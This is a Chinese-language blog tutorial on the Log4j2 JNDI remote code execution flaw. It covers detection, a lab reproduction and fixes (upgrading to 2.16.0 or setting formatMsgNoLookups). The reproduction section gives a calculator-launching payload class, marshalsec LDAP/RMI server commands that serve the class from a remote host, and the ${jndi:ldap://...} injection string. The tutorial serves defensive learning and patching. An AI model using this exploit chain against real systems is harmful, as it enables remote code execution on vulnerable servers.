返回 导航

SpringBoot / Cloud

hangge.com

SpringBoot - Log4j2远程代码执行漏洞详解(漏洞检查、复现、修复方法)

作者:hangge | 2021-12-27 08:10

一、Log4j2 漏洞介绍

1,Log4j2 介绍

    Apache Log4j2 是一个基于 Java 的日志记录工具,该工具重写了 Log4j 框架,并且引入了大量丰富的特性,Apache log4j-2 Log4j 的升级版,这个日志框架被大量用于业务系统开发,用来记录日志信息。

2,Log4j2 漏洞

(1)近日 Apache Log4j2 被检测到存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。漏洞影响版本:2.0 <= Apache Log4j 2 <= log4j-2.15.0-rc1

(2)由于Log4j2 作为日志记录基础第三方库,被大量 Java 框架及应用使用,只要用到 Log4j2 进行日志输出且日志内容能被攻击者部分可控,即可能会受到漏洞攻击影响。因此,该漏洞也同时影响全球大量通用应用及组件,例如 :
  • Apache Struts2Apache SolrApache DruidApache FlinkApache FlumeApache DubboApache KafkaSpring-boot-starter-log4j2ElasticSearchRedisLogstash等。
因此建议及时检查并升级所有使用了 Log4j 组件的系统或应用。

二、Log4j2 漏洞检测

(1)我们除了可以通过人工的方式对项目里的 Log4j2 版本进行检查,也可以借助一些第三方的工具来自动进行扫描。比如 Log4j2 漏洞检测工具(点击下载):

(2)工具支持 Windows/Linux/Mac 多种操作系统,i386/x86-64/arm 等多种架构,可以指定单个 jar 文件、或者目录进行扫描。

三、复现 Log4j2 漏洞

    JNDIJava Naming and Directory Interface)是 Java 提供的 Java 命名和目录接口。通过调用 JNDI API 应用程序可以定位资源和其他程序对象。JNDI Java EE 的重要部分,需要注意的是它并不只是包含了 DataSourceJDBC 数据源),JNDI 可访问的现有的目录及服务有:JDBCLDAPRMIDNSNISCORBA


1,准备恶意代码

(1)首先我们创建一个恶意类,代码如下,其功能就是启动系统的计算器,方便我们观察效果。
注意这里我使用的是 macOS 系统,如果是 Windows 系统,则启动计算器代码如下:
  • String[] commands = {"calc.exe"};
public class Log4j2Hack{
  public Log4j2Hack() {
    try {
      System.out.println("--- 漏洞代码开始执行 ---");
      String[] commands = {"open", "/System/Applications/Calculator.app"}; // 启动系统计算器
      Process pc = Runtime.getRuntime().exec(commands);
      pc.waitFor();
      System.out.println("--- 漏洞代码完成执行 ---");
    } catch (Exception e) {
      e.printStackTrace();
    }
  }
}

(2)将这个 java 类编译成 class,然后放在 Web 服务器下(如 Nginx),确保浏览器能访问下载该文件:

2,搭建 LADP 服务

(1)如果我们自己手动编写代码并搭建 ldap 服务略显麻烦,为了方便,我们可以使用 marshalsec。这是一个开源项目,可以快速开启 RMI LDAP 服务。

(2)我们将 marshalsec 的源码包下载下来,解压后进入文件,执行如下 maven 命令进行编译:
mvn clean package -DskipTests

(3)编译后在 target 文件夹下面会生成 jar 包:

(4)接下来执行下面的命令即可开启 LDAP
参数说明:
  • # 不能省略,其后面填写的是恶意类的类名,它会自动绑定 URI
  • 1099 是开启 LDAP 服务的端口号,如果不加端口号,它的默认端口号就是 1099
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.43.96:9090/#Log4j2Hack 1099

  • 如果要开启 RMI 的话,跟开启 LDAP 方法差不多,我们只需要将 LDAPRefServer 改为 RMIRefServer 即可:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.43.96:9090/#Log4j2Hack 1099

3,开始测试

(1)要复现这个漏洞,被测试的项目 Log4j2 版本必须符合 2.0 <= Apache Log4j 2 <= log4j-2.15.0-rc1。这里我添加的 spring-boot-starter-log4j2 依赖版本为 2.3.12.RELEASE,其内部使用的 log4j2 版本是 2.13.3,符合漏洞条件。
<dependencies>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
        <!-- 去掉springboot默认日志配置 -->
        <exclusions>
            <exclusion>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-logging</artifactId>
            </exclusion>
        </exclusions>
    </dependency>
    <!-- 引入log4j2依赖 -->
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-log4j2</artifactId>
        <version>2.3.12.RELEASE</version>
    </dependency>
</dependencies>

(2)jdk 版本在 jndi 注入中也起着至关重要的作用,由于我使用的 jdk 版本比较高,所以在项目启动类上添加如下代码将 trustURLCodebase 设置为 true,才能触发漏洞:
    如果使用低版本的 jdktrustURLCodebase 默认就是 true,存在 JNDI 注入漏洞。而后来 Java 修复了该漏洞,将参数默认值设置为 false
  • JDK 6u141、7u131、8u121 之后:增加了 com.sun.jndi.rmi.object.trustURLCodebase 选项,默认为 false,禁止 RMI CORBA 协议使用远程 codebase 的选项,因此 RMI CORBA 在以上的 JDK 版本上已经无法触发该漏洞,但依然可以通过指定 URI LDAP 协议来进行 JNDI 注入攻击。
  • JDK 6u211、7u201、8u191之后:增加了 com.sun.jndi.ldap.object.trustURLCodebase 选项,默认为 false,禁止 LDAP 协议使用远程 codebase 的选项,把 LDAP 协议的攻击途径也给禁了。
@SpringBootApplication
public class HanggeDemoApplication {

  public static void main(String[] args) {

    //jdk高版本必须添加下面设置
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
    System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

    SpringApplication.run(HanggeDemoApplication.class, args);
  }
}

(3)要触发这个漏洞很简单,我们只要编写如下形式的 log 日志打印语句,即会触发 ldap 服务请求,加载远端的 class 文件并执行。
@RestController
public class TestController {

  Logger logger = LoggerFactory.getLogger(getClass());

  @GetMapping("/test")
  public void test() {
    logger.info("${jndi:ldap://192.168.43.96:1099/Log4j2Hack}");
  }
}

logger.info("${jndi:rmi://192.168.43.96:1099/Log4j2Hack}"

(4)测试一下,我们使用浏览器访问这个 test 接口,可以看到本地计算器被启动了,说明漏洞触发成功:

四、漏洞修复方法

1,使用高版本的 log4j2(推荐)

(1)由于漏洞影响版本:2.0 <= Apache Log4j 2 <= log4j-2.15.0-rc1。所以最直接安全的方法就是将版本升级到 log4j-2.15.0-rc2 或者以上版本。
<dependencies>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
        <!-- 去掉springboot默认日志配置 -->
        <exclusions>
            <exclusion>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-logging</artifactId>
            </exclusion>
        </exclusions>
    </dependency>
    <!-- 引入log4j2依赖 -->
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-log4j2</artifactId>
        <exclusions>
            <exclusion>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-api</artifactId>
            </exclusion>
            <exclusion>
                <groupId>org.apache.logging.log4j</groupId>
                <artifactId>log4j-core</artifactId>
            </exclusion>
        </exclusions>
    </dependency>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.16.0</version>
    </dependency>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.16.0</version>
    </dependency>
</dependencies>

(2)升级后再次进行测试,可以看到日志只会打印出字符串,不会再执行远程代码了:


2,临时方案

    如果暂时不方便对项目使用的 log4j2 版本进行升级,并且程序日志对“${}”并无解析要求。可以通过配置的方式,实现不对“${}”进行解析,达到修复漏洞的目的。下面几种方法任选其一即可:
  • jvm 参数中添加 -Dlog4j2.formatMsgNoLookups=true
  • 项目创建 log4j2.component.properties 文件,文件中增加配置 log4j2.formatMsgNoLookups=true
评论

全部评论(0)

回到顶部